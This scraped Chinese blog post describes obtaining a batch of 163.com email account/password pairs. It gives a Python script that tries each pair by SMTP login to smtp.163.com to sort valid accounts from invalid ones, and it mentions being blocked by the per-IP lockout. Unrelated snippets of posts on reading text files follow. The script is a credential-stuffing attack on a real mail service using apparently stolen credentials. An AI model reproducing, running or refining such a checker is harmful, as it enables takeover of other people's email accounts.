python遍历txt每一行_python实战===实现读取txt每一行的操作,账号密码

最近搞到了一批163邮箱的账号和密码,但是里面有部分账号不能用,密码是错的。

以此为背景

人工手动挨个登录检查效率太低!

于是写了下面这个脚本:

import linecache

import smtplib

import time

import linecache

#算出txt的行数

txt = open(r'F:\163账号.txt','r')

data = txt.read()

txt.close()

n = data.count('\n')

print(n)

i = 1

while True:

if i <= n:

print("===========================")

line=linecache.getline(r'F:\163账号.txt',i)

#切片实现分离出账号和密码

user = line.split("----")[0]

password = line.split("----")[1].replace('\n','')

print(user)

print(password)

i+=1

try:

#发送邮箱的账号/密码

smtpserver = "smtp.163.com"

smtp = smtplib.SMTP()

smtp.connect(smtpserver)

smtp.login(user,password)

print("邮箱登陆成功!")

print("第",(i-1),"行账号有效")

time.sleep(3)

except:print("账号无效***************************************",(i-1))

time.sleep(3)

else:

print("结束")

break

这样我就可以知道哪一行的账号密码是错误的了!

但是问题来了,163邮箱对同一ip账号密码输错6次就锁定了。所以我在执行了20多行的时候,后面全部登录失败了!

这个问题我现在还没解决。

Python笔记(读取txt文件中的数据)

在机器学习中,常常需要读取txt文本中的数据,这里主要整理了两种读取数据的方式 数据内容 共有四列数据,前三列为特征值,最后一列为数据标签 40920 8.326976 0.953952 3 1448 ...

Java读取txt文件信息并操作。

一.java读取txt文件内容 import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.Fi ...

DOS 循环读取txt每一行内容

在命令行窗口中输入: for /f %i in (f:\mydata.txt) do echo %i 如果要是写成批处理文件run.bat for /f %%i in (f:\mydata.txt) ...

vbs读取TXT每一行并赋值到变量a

vbs代码: Dim fso,f,a Set fso = CreateObject("Scripting.FileSystemObject") Set f=fso.OpenText ...

python读取txt、csv和excel文件

一.python读取txt文件:(思路:先打开文件,读取文件,最后用for循环输出内容) fp = open('test.txt','r') lines = fp.readlines() fp.clo ...

Python文件处理(txt、csv文件读取)

打开文件 使用Python内置的方法 open()可以打开文件 file object = open(file_name [, access_mode][, buffering]) file_name ...

web端自动化——Python读取txt文件、csv文件、xml文件

1.读取txt文件 txt文件是我们经常操作的文件类型,Python提供了以下几种读取txt文件的方式. 1)read(): 读取整个文件. 2)readline(): 读取一行数据. 3)readl ...

python读取txt批量创建文件

python读取txt批量创建文件 pythonbatchfile 前几天有个小问题, 需要批量建立很多文件夹,, 所以手动写了个小的脚本, 后续可以直接使用 读取目录文件, 然后直接创建相应的文件 ...

随机推荐

enote笔记法使用范例(2)——指针(1)智能指针

要知道什么是智能指针,首先了解什么称为 “资源分配即初始化” what RAII:RAII—Resource Acquisition Is Initialization,即“资源分配即初始化” 在&l ...

亲手使用Sencha Touch &plus; phonepag开发Web APP随笔 -- 环境安装篇

最近因为有个项目需要制作APP,考虑到需要兼容Android和IOS,所以想采用WebAPP的方式来开发.现在是从零开始学习之路,走起-   通过网上博客和论坛,开始安装了一堆软件: 1. Sench ...

C&num;十种语法糖

语法糖 指计算机语言中添加的某种语法,这种语法对语言的功能并没有影响,但是更方便程序员使用.通常来说使用语法糖能够增加程序的可读性,从而减少程序代码出错的机会.需要声明的是"语法糖&quot ...

win7添加鼠标右键关联

背景: hfs升级把右键给升没了 搜索了下 都是如何删除的  但没有怎么添加 添加: 保存如下内容为.reg 然后双击导入即可 Windows Registry Editor Version 5.00 ...

React Native知识点

1. Live Reload和Hot Reloading的区别: 相同点:都是你只要保存一下原文件,那么App就会实时刷新. 区别:Live Reload是全局刷新,而Hot Reloading是局部 ...

Linux 性能优化之 IO 子系统 系列 图

http://blog.sina.com.cn/s/articlelist_1029388674_11_1.html Linux 性能优化之 IO 子系统(一) 本文介绍了对 Linux IO 子系统 ...

log4j配置文件详解---转

使用步骤注意: 1. 从http://logging.apache.org/log4j/1.2/ 下载文件 2. 在src目录下加入log4j.properties,将jar包放入build -pat ...

sqlplus常用操作命令2

常用编辑命令:A[ppend] text 将text附加到当前行之后C[hange] /old /new 将当前行中的old替换为newCLear] buff[er] 清除缓冲区中的所有行DEL 删除 ...

idea出现乱码问题

Intellij Idea打包工程时控制台显示乱码 这主要是maven编译时编码问题导致的.在Intellij的settings中maven的run配置中设置它的VM Options为-Darchet ...

小程序返回顶部top滚动

wxjs const app = getApp(); Page({ data:{ // top标签显示(默认不显示) backTopValue:false }, // 监听滚动条坐标 onPageSc ...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值